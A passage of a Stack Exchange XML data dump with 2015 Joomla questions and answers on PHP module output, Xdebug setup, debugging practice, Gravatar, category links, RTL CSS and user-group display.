blogvote($userval);&quot;;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    // $result = $db-&amp;gt;query();&#xA;    //print_r($result);&#xA;    $row = $db-&amp;gt;loadObjectList('user_id');&#xA;    print_r($row);&#xA;require JModuleHelper::getLayoutPath('mod_helloworld');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works now - i.e. I get the likes and points for a logged in user.  I'd like to format it as a table - more or less like I have the output on phpmyadmin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likes  Points&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;3                0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And now I get something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array ( [] =&amp;gt; stdClass Object ( [POINTS] =&amp;gt; 0 [LIKES] =&amp;gt; 3 ) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I get a proper formatting if possible from php module file?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I tried some advice that was posted in comments.  Right now I can display user_id in a table but the $result query produces an empty row:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;&amp;lt;table&amp;gt;&quot;;&#xA;     echo &quot;&amp;lt;tr&amp;gt;&quot;;&#xA;     echo &quot;&amp;lt;td&amp;gt;Name&amp;lt;/td&amp;gt;&quot;;&#xA;     echo &quot;&amp;lt;td&amp;gt;&quot;.$userval.&quot;&amp;lt;/td&amp;gt;&quot;;&#xA;     echo &quot;&amp;lt;/tr&amp;gt;&quot;;&#xA;     echo &quot;&amp;lt;/table&amp;gt;&quot;;&#xA;    foreach ($row as $result) &#xA;    {&#xA;        echo &quot;&amp;lt;table&amp;gt;&quot;;&#xA;        echo &quot;&amp;lt;tr&amp;gt;&quot;;    &#xA;        echo &quot;&amp;lt;td&amp;gt;&quot; . $result-&amp;gt;points . &quot;&amp;lt;/td&amp;gt;&quot;;&#xA;        echo &quot;&amp;lt;td&amp;gt;&quot; . $result-&amp;gt;likes . &quot;&amp;lt;/td&amp;gt;&quot;;&#xA;        echo &quot;&amp;lt;/tr&amp;gt;&quot;;&#xA;        echo &quot;&amp;lt;/table&amp;gt;&quot;;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7011" LastEditorUserId="7011" LastEditDate="2015-09-27T20:46:58.473" LastActivityDate="2015-09-27T22:05:01.560" Title="Joomla 3 stored mysql procedure output how to format" Tags="|php|joomla-3.4|mysql|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13780" PostTypeId="2" ParentId="13779" CreationDate="2015-09-27T18:17:44.643" Score="1" Body="&lt;p&gt;You can display the results in a table and use a &lt;code&gt;foreach&lt;/code&gt; loop for the actual results, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;table&amp;gt;&#xA;    &amp;lt;thead&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th&amp;gt;Points&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th&amp;gt;Likes&amp;lt;/th&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/thead&amp;gt;&#xA;    &amp;lt;tbody&amp;gt;&#xA;    &amp;lt;?php &#xA;        foreach ($row as $result) &#xA;        {&#xA;            echo '&amp;lt;tr&amp;gt;';        &#xA;            echo '&amp;lt;td&amp;gt;' . $result-&amp;gt;POINTS. '&amp;lt;/td&amp;gt;';&#xA;            echo '&amp;lt;td&amp;gt;' . $result-&amp;gt;LIKES . '&amp;lt;/td&amp;gt;';&#xA;            echo '&amp;lt;/tr&amp;gt;';&#xA;        }&#xA;    ?&amp;gt;&#xA;    &amp;lt;/tbody&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-09-27T22:05:01.560" LastActivityDate="2015-09-27T22:05:01.560" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13781" PostTypeId="2" ParentId="13778" CreationDate="2015-09-27T19:15:46.380" Score="1" Body="&lt;p&gt;I believe the developer has used PHP to drop the tables associated with the extension and made a mistake somewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to go to PhpMyAdmin, search for the table &lt;code&gt;wtbl5_tawkwidget&lt;/code&gt; and simply remove it.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-09-27T19:15:46.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13782" PostTypeId="1" CreationDate="2015-09-27T20:02:32.870" Score="4" ViewCount="1603" Body="&lt;p&gt;I have this piece of code in my template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;article id=&quot;content&quot;&amp;gt;&#xA;    &amp;lt;section id=&quot;mid&quot;&amp;gt;&#xA;        &amp;lt;jdoc:include type=&quot;component&quot; /&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;&amp;lt;/article&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which displays the content of my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there is a way to check if a module exists with &lt;code&gt;$this-&amp;gt;countModules('mymodulename')&lt;/code&gt; but is it possible to check if content exists?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I only want to output &lt;code&gt;#content&lt;/code&gt; and &lt;code&gt;#mid&lt;/code&gt; if actual content exists in the respective article. So far I get the empty html tags displayed If I dont have any content in the article.&lt;/p&gt;&#xA;" OwnerUserId="7012" LastActivityDate="2016-04-10T21:15:26.713" Title="Check if Content exists" Tags="|joomla-3.x|com-content|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13783" PostTypeId="1" CreationDate="2015-09-27T23:33:38.073" Score="2" ViewCount="55" Body="&lt;p&gt;I am trying to find out a way to debug my website. This is a very new field for me, so I am following the &quot;Using an IDE&quot; steps on this page: &lt;a href=&quot;https://docs.joomla.org/How_to_debug_your_code&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/How_to_debug_your_code&lt;/a&gt; and some other related pages(For configuring eclipse, xdebug, etc..).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the page suggests, xdebug is a prevailing tool for debugging. I have never heard it before, the only thing I know about it now is that it is an extension of PHP which help debug. I noticed that in my XAMPP installation, xdebug is installed(at least there is a xdebug section in php.ini), however, in my webspace, there is no xdebug section in php.ini. So my questions are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Being there no xdebug section in php.ini of my webspace, does this mean my webserver doesn't support xdebug? If yes, is there any web hosting company that has xdebug available, or at least offer this possibility? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Regardless of xdebug, is it possible to debug a joomla site in a remote server? Is it a common practice to clone the site to local before debugging it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) My xampp control panel version is 3.2.1. About xdebug configuration in XAMPP, on this page &lt;a href=&quot;https://docs.joomla.org/Edit_PHP.INI_File_for_XDebug&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Edit_PHP.INI_File_for_XDebug&lt;/a&gt; it says &quot;For Windows, it should look like the example below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[XDebug]&#xA;;; Only Zend OR (!) XDebug&#xA;zend_extension_ts=&quot;C:\xampp\php\ext\php_xdebug.dll&quot;&#xA;xdebug.remote_enable=true&#xA;xdebug.remote_host=localhost&#xA;xdebug.remote_port=10000&#xA;xdebug.remote_handler=dbgp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, the xdebug section in my php.ini looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[XDebug]&#xA;;zend_extension = &quot;D:\xampp\php\ext\php_xdebug.dll&quot;&#xA;;xdebug.profiler_append = 0&#xA;;xdebug.profiler_enable = 1&#xA;;xdebug.profiler_enable_trigger = 0&#xA;;xdebug.profiler_output_dir = &quot;D:\xampp\tmp&quot;&#xA;;xdebug.profiler_output_name = &quot;cachegrind.out.%t-%s&quot;&#xA;;xdebug.remote_enable = 0&#xA;;xdebug.remote_handler = &quot;dbgp&quot;&#xA;;xdebug.remote_host = &quot;127.0.0.1&quot;&#xA;;xdebug.trace_output_dir = &quot;D:\xampp\tmp&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How should I edit it in order to enable xdebug?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastEditorUserId="5680" LastEditDate="2015-09-27T23:47:20.393" LastActivityDate="2015-09-27T23:47:20.393" Title="Do I have to make a local version of my website before I can use Xdebug?" Tags="|debug|" AnswerCount="0" CommentCount="1" ClosedDate="2015-10-29T18:19:43.503" ContentLicense="CC BY-SA 3.0" />
  <row Id="13785" PostTypeId="2" ParentId="13776" CreationDate="2015-09-28T13:24:52.133" Score="1" Body="&lt;p&gt;I would use the free version of AcyMailing. This way you can create a queue of e-mails and avoid to be confused by a spammer for senidng too many e-mails at once.&lt;/p&gt;&#xA;" OwnerUserId="1848" LastActivityDate="2015-09-28T13:24:52.133" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13786" PostTypeId="1" AcceptedAnswerId="13789" CreationDate="2015-09-28T14:31:36.770" Score="0" ViewCount="220" Body="&lt;p&gt;I'd like to add gravatar support to my Joomla article. How can I do that?&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2015-09-28T18:18:57.243" Title="How to add gravatar support to Joomla article" Tags="|articles|com-content|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13787" PostTypeId="1" CreationDate="2015-09-28T15:31:50.510" Score="7" ViewCount="979" Body="&lt;p&gt;1) local or remote? I understand that the best practice for debugging is to have a local version of your website, but sometimes to make a local version of your current website can be very time consuming, especially when the site has been published and you just want do a few tweaks or fix some minor issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) for the reason I mentioned above, I usually debug directly online. Here's a typical scenario I often encounter: The front end is reporting an error regarding a php file, I open the file and look at the line in question, it's in a method of a class. Then I &lt;code&gt;var_dump&lt;/code&gt; related variables to see what's wrong, more than often it doesn't help, then I dive further into the function only to find out that the variables in question are related to one of the function's parameter. To know what exactly the parameter is, I need to find out where this function is invoked. Here is where I usually got stuck, I have to download the extension or even the whole website to local and do a in-text search for the function in all php files. Often there are scores of invocation, I have to try them one by one to see which one is causing problem. More than often this will lead to another function which I need to repeat the above process again.... This procedure is very time consuming and I often got frustrated and confused. Is this what  everyone goes through?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am wondering how a sophisticated joomla developer would debug his site, what's the common practice for this? I was reading joomla documentations for debugging and and still working on configure a eclipse/xdebug environment, but I think the above questions still remain.&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2015-09-29T00:12:06.413" Title="What's the common practice for debugging?" Tags="|debug|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13788" PostTypeId="2" ParentId="13787" CreationDate="2015-09-28T15:55:44.030" Score="5" Body="&lt;p&gt;I am far from being a sophisticated developer and I also do debugging in online sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use this marbelous tool&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extension/j-dump&quot; rel=&quot;noreferrer&quot;&gt;http://extensions.joomla.org/extension/j-dump&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It have a lot of advantages over a single var_dump.&#xA;Hope it works for you too.&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2015-09-28T15:55:44.030" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13789" PostTypeId="2" ParentId="13786" CreationDate="2015-09-28T18:18:57.243" Score="3" Body="&lt;p&gt;Take a look at the &lt;a href=&quot;https://en.gravatar.com/site/implement/images/php/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gravatar PHP documentation&lt;/a&gt;. Basically, you want to generate a URL for the image to be displayed. This URL is based on the users email address, and will of course only work for logged in users.&lt;/p&gt;&#xA;&lt;p&gt;The following code should give you a starting point:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$user = JFactory::getUser();&#xA;$default = &amp;quot;http://www.example.com/default.jpg&amp;quot;; // default image if no gravatar&#xA;$size = 40; // 1 - 2048 pixels&#xA;&#xA;$grav_url = &amp;quot;http://www.gravatar.com/avatar/&amp;quot; . md5( strtolower( trim( $user-&amp;gt;email ) ) ) . &amp;quot;?d=&amp;quot; . urlencode( $default ) . &amp;quot;&amp;amp;s=&amp;quot; . $size;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;img src=&amp;quot;&amp;lt;?php echo $grav_url; ?&amp;gt;&amp;quot; alt=&amp;quot;&amp;quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;There are many options available for default image, size, rating etc. See the &lt;a href=&quot;https://en.gravatar.com/site/implement/images/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gravatar documentation&lt;/a&gt; for more info.&lt;/p&gt;&#xA;&lt;p&gt;As for how to use the code, it depends on what you mean by &lt;code&gt;add gravatar support to my Joomla article&lt;/code&gt;. You can build a plugin, create an override, or use a custom HTML module that supports PHP code.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-09-28T18:18:57.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13790" PostTypeId="2" ParentId="13787" CreationDate="2015-09-28T18:21:42.833" Score="5" Body="&lt;p&gt;Well, my personal preference is...it depends on what exactly need to be debugged. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's a simply element that's not displaying correctly due to some odd CSS, I'll simply get the live site running, open Firebug and sort it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's a PHP or JS related issue, I normally tend to take a copy of the site and run it on my local host. This is always the best approach as you may want to start var dumping variables testing code. People should not be seeing this happening on a live site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, a lot of the time when debugging, you may find it good to use &lt;code&gt;exit;&lt;/code&gt; to confirm code in conditional statements is working or not. Using this will (as you probably already know), result in a blank, site page. Another reason not to debug on a live site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you run into a point where it'll take too long to set the site up on your local host, I'd suggesting putting the site on offline mode temporarily until fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A tip for the future when developing a site is to build it on your localhost and change Joomla's reporting in the Global Configuration to &lt;strong&gt;development&lt;/strong&gt; so that all errors are shown and can be fixed before pushing live&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-09-29T00:12:06.413" LastActivityDate="2015-09-29T00:12:06.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13791" PostTypeId="1" CreationDate="2015-09-28T20:00:33.173" Score="2" ViewCount="275" Body="&lt;p&gt;I have 2 views namely &lt;code&gt;students&lt;/code&gt; and &lt;code&gt;student&lt;/code&gt;.  The &lt;code&gt;students&lt;/code&gt; view will list all the students and &lt;code&gt;student&lt;/code&gt; view is to show the details of the student.  These 2 views are accessible for all staffs in the school to view their students.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I using an anchor link in the &lt;code&gt;students&lt;/code&gt; view by passing the &lt;code&gt;student_id&lt;/code&gt; as one of the argument in href to the &lt;code&gt;student&lt;/code&gt; view.  The problem here is if the staff simply goes to the URL and changes the &lt;code&gt;student_id&lt;/code&gt; to some other number then the staff able to view the other student details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to stop this in a easier way instead of checking again on the database whether the particular student reports to the logged in staff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought of something to do with Joomla &lt;code&gt;form.token&lt;/code&gt; and submit the first view while clicking the student name and the next view can validate the token and show the full details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure whether it makes sense but I thought this will make my life easier instead of writing several validations.&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2015-09-28T20:10:45.290" Title="Submit a view instead of redirect to another view" Tags="|php|joomla-3.4|form|redirect|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13792" PostTypeId="2" ParentId="13791" CreationDate="2015-09-28T20:10:45.290" Score="4" Body="&lt;p&gt;Answering my own question... I should have spend some time in google before asking my question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla supports CSRF anti-spoofing and it is explained in &lt;a href=&quot;https://docs.joomla.org/How_to_add_CSRF_anti-spoofing_to_forms&quot; rel=&quot;nofollow&quot;&gt;How_to_add_CSRF_anti-spoofing_to_forms&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I am using GET method I should use the below while forming the HRF&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;echo JRoute::_( 'index.php?option=com_example&amp;amp;controller=object1&amp;amp;task=save&amp;amp;'. JSession::getFormToken() .'=1' ); &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in the other page check as below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JSession::checkToken( 'get' ) or die( 'Invalid Token' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2015-09-28T20:10:45.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13793" PostTypeId="1" AcceptedAnswerId="13800" CreationDate="2015-09-29T09:45:06.810" Score="0" ViewCount="93" Body="&lt;p&gt;I'm using this Mshah frontend user manager extension.&#xA;I have below table and I want to hide the &quot;Registered&quot; value from that column, is that possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ld1BJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ld1BJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the third column is a user group title that a user belongs to, and I want to hide the Registered value if possible.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($isAdmin || $groupNames=='ums') {&#xA;       $query=&quot;SELECT a.*,CASE a.block WHEN 0 THEN 'Active' ELSE 'Inactive' END as status,group_concat(b.group_id) as ucheckbox,group_concat(c.title) as title,c.id as groupid from `#__users` a left join `#__user_usergroup_map` b on a.id=b.user_id left join `#__usergroups` c on b.group_id=c.id group by a.id ORDER BY a.id ASC&quot;;&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $rows=$db-&amp;gt;loadObjectList();&#xA;        return $rows;&#xA;    } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Above is the mysql query code but I don't think can use NOT IN or &amp;lt;&gt; as it is filtering the results instead.&lt;/p&gt;&#xA;" OwnerUserId="5613" LastActivityDate="2018-06-19T20:51:51.807" Title="Hide a value or data on table" Tags="|extensions|mysql|module-display|front-end|user-groups|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13795" PostTypeId="1" AcceptedAnswerId="13798" CreationDate="2015-09-29T14:42:01.047" Score="0" ViewCount="209" Body="&lt;p&gt;My website has 2 languages, English and Arabic. Arabic language is rtl (right to left). On my PC it works fine but when using mobile phone or resize the browser there is wrong order for elements (the left element at the top and the right element at bottom) look at numbers 1111111,22222222,33333333 and 44444444: &lt;a href=&quot;http://food.yesrtl.com/index.php/ar/&quot; rel=&quot;nofollow&quot;&gt;http://food.yesrtl.com/index.php/ar/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;SP PAGE BUILDER Version 1.0.5&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7019" LastEditorUserId="1629" LastEditDate="2015-09-29T14:51:03.047" LastActivityDate="2015-09-29T20:40:51.503" Title="Wrong order for elements in RTL mode on Helix3" Tags="|joomla-3.4|helix3|" AnswerCount="1" CommentCount="1" ClosedDate="2015-10-02T07:11:32.263" ContentLicense="CC BY-SA 3.0" />
  <row Id="13796" PostTypeId="1" AcceptedAnswerId="13797" CreationDate="2015-09-29T14:58:45.177" Score="1" ViewCount="226" Body="&lt;p&gt;I'm building a module and using the  Category Form Field Type, as outlined in the Joomla docs here &lt;a href=&quot;https://docs.joomla.org/Category_form_field_type&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Category_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the module XML I've used the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;catOne&quot; type=&quot;category&quot; extension=&quot;com_content&quot; label=&quot;Select a category&quot; description=&quot;&quot; /&amp;gt;&#xA;&amp;lt;field name=&quot;catTwo&quot; type=&quot;category&quot; extension=&quot;com_content&quot; label=&quot;Select a category&quot; description=&quot;&quot; /&amp;gt;&#xA;&amp;lt;field name=&quot;catThree&quot; type=&quot;category&quot; extension=&quot;com_content&quot; label=&quot;Select a category&quot; description=&quot;&quot; /&amp;gt;&#xA;&amp;lt;field name=&quot;catFour&quot; type=&quot;category&quot; extension=&quot;com_content&quot; label=&quot;Select a category&quot; description=&quot;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whenever I echo these in the frontend, I'm just getting the category ID - how can I echo the category title and it's related URL for each of the above variables?&lt;/p&gt;&#xA;" OwnerUserId="294" LastEditorUserId="294" LastEditDate="2015-09-29T15:26:33.410" LastActivityDate="2015-09-29T15:38:41.150" Title="Echo Category form field type title in Module" Tags="|joomla-3.x|php|module|joomla-3.4|module-params|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13797" PostTypeId="2" ParentId="13796" CreationDate="2015-09-29T15:10:26.970" Score="1" Body="&lt;p&gt;Yo have the ID of the category, so you can perform a database query to get the &lt;code&gt;title&lt;/code&gt;, like so:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Get the title from the ID:&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get the category parameter value &#xA;// Define a default value of 0&#xA;$cat_id = $params-&amp;gt;get('catOne', 0);&#xA;&#xA;// Get instance of database connection&#xA;$db = JFactory::getDbo();&#xA;&#xA;// Query the #__categories table in the database&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName('title'))&#xA;      -&amp;gt;from($db-&amp;gt;quoteName('#__categories'))&#xA;      -&amp;gt;where($db-&amp;gt;quoteName('id') . ' = '. (int)$cat_id);&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;// Try and get the result&#xA;try&#xA;{&#xA;    $result = $db-&amp;gt;loadResult();&#xA;}&#xA;catch (Exception $e)&#xA;{&#xA;    // If there is no result, make the variable empty&#xA;    $result = '';&#xA;}&#xA;&#xA;// Display the result&#xA;echo $result;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Display a Link:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;To display the URL for the category, you will need to import com_content's router:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once JPATH_SITE . '/components/com_content/helpers/route.php';&#xA;&#xA;$link = JRoute::_('index.php?option=com_content&amp;amp;view=category&amp;amp;layout=blog&amp;amp;id=' . $cat_id);&#xA;&#xA;echo '&amp;lt;a href=&quot;' . $link . '&quot;&amp;gt;' . $result . '&amp;lt;/a&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;For multiple params, use a function:&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function displayCategoryLink($id)&#xA;{&#xA;    require_once JPATH_SITE . '/components/com_content/helpers/route.php';&#xA;&#xA;    $db = JFactory::getDbo();&#xA;&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select($db-&amp;gt;quoteName('title'))&#xA;          -&amp;gt;from($db-&amp;gt;quoteName('#__categories'))&#xA;          -&amp;gt;where($db-&amp;gt;quoteName('id') . ' = '. (int)$id);&#xA;    $db-&amp;gt;setQuery($query);&#xA;&#xA;    try&#xA;    {&#xA;        $result = $db-&amp;gt;loadResult();&#xA;    }&#xA;    catch (Exception $e)&#xA;    {&#xA;        $result = '';&#xA;    }&#xA;&#xA;    $link = JRoute::_('index.php?option=com_content&amp;amp;view=category&amp;amp;layout=blog&amp;amp;id=' . $id);   &#xA;    $html = '&amp;lt;a href=&quot;' . $link . '&quot;&amp;gt;' . $result . '&amp;lt;/a&amp;gt;';&#xA;&#xA;    return $html;&#xA;}&#xA;&#xA;&#xA;displayCategoryLink($params-&amp;gt;get('catOne', 0));&#xA;displayCategoryLink($params-&amp;gt;get('catTwo', 0));&#xA;displayCategoryLink($params-&amp;gt;get('catThree', 0));&#xA;displayCategoryLink($params-&amp;gt;get('catFour', 0));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The function above is just basic. I would of course suggest you put the function in a class, in a &lt;strong&gt;helper.php&lt;/strong&gt; file and call it properly&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-09-29T15:38:41.150" LastActivityDate="2015-09-29T15:38:41.150" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13798" PostTypeId="2" ParentId="13795" CreationDate="2015-09-29T15:29:25.063" Score="1" Body="&lt;p&gt;That's an interesting problem, because most templates will stack modules just like that, placing the left module at the top, which of course doesn't make sense for rtl languages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This happens because the elements are set to &lt;code&gt;float:left&lt;/code&gt;. My guess is that you've sorted your modules in the Joomla module manager in this order:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4444&#xA;3333&#xA;2222&#xA;1111&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try reversing the order (1-2-3-4), then add this code to your CSS file, &lt;strong&gt;but only for the Arabic language&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@media (min-width: 768px) {&#xA;    .sppb-section .sppb-col-sm-3 {&#xA;        float: right;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your modules should be properly displayed for all screen sizes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option would be to create two sets of modules, one for horizontal display and another for vertical (mobile) display. Then use CSS and media queries to display/hide the modules as needed. Using Helix3, you can add module suffix &lt;code&gt;hidden-xs&lt;/code&gt; to hide the module on mobiles, and &lt;code&gt;visible-xs&lt;/code&gt; to show on mobiles only.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2015-09-29T20:40:51.503" LastActivityDate="2015-09-29T20:40:51.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13800" PostTypeId="2" ParentId="13793" CreationDate="2015-09-29T17:41:24.903" Score="2" Body="&lt;p&gt;The way to do it is by overriding the view template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 - First you have to understand how to create an override of a component view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This tutorial may help you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.ostraining.com/blog/joomla/overrides/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.ostraining.com/blog/joomla/overrides/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 - Then you have to locate the code that renders the table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is not much we can do here without seeing the code, but I assume that you may have something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td&amp;gt;&amp;lt;?php echo $userGroups ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, this can be written in very different ways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3 - Finally, change the output in order to eliminate &quot;Registered&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;td&amp;gt;&amp;lt;?php echo str_replace('Registered','',$userGroups) ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope this can give you a clue how to solve it.&lt;/p&gt;&#xA;" OwnerUserId="371" LastEditorUserId="12352" LastEditDate="2018-06-19T20:51:51.807" LastActivityDate="2018-06-19T20:51:51.807" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
